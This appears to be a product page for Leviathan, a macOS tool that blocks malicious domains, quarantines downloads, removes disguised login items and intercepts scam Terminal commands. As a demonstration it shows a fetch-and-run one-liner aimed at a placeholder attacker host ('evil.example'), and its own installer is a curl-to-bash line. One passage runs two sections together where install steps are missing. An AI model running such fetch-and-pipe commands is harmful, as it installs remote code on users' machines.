It stops malware on your Mac before the malware can run.
$ curl -s evil.example/fix | bash Leviathan stopped this command. It downloads a program and runs it straight away. Scam pages ask for this. Press Enter again to run it anyway.
Most Mac infections start in one of three ways: a fake website, a file you download, or a command a scam page talks you into pasting into Terminal. Antivirus apps usually scan files after they arrive. Leviathan also stands guard at the other two doors.
It runs quietly in the background. After a one minute setup there is nothing to click and nothing to keep up to date. When it does step in, it tells you in plain words what it found and why, and it keeps a record so you can reverse the action later.
Every time your Mac looks up a website address, Leviathan checks it against two public lists of malware and phishing sites, refreshed every hour. Known bad addresses simply fail to load. Lookups travel encrypted to security focused services (Quad9 and Cloudflare), so your network provider cannot read them. Big shared sites such as Google Docs, Dropbox and GitHub are never blocked, even if one bad link is hosted there. If you join hotel or campus Wi-Fi with a sign-in page, it steps aside so you can log in.
New files in Downloads and new apps are checked with the same malware rules Apple ships in macOS, plus Apple’s list of developers it has banned. A match moves to a locked folder where it cannot open. Nothing is deleted.
Some malware hides by adding itself to the list of programs that start when you log in, often pretending to be part of macOS. Leviathan looks for those disguises and turns them off.
A popular scam shows a fake error and asks you to paste a line into Terminal to “fix” it. That line installs malware. Leviathan recognises these commands, stops them once and explains the risk. If you really meant it, pressing Enter again runs it.
leviathan undo puts any file or setting back.bash with a space, drag install.sh from the unzipped folder into the window, and press Return. Enter your Mac password when asked; the website filter needs it once.Or paste this single line into Terminal:
cd ~ && curl -fsSL https://github.com/Questboy23/leviathan/archive/refs/tags/v1.0.0.tar.gz | tar xz && bash leviathan-1.0.0/install.sh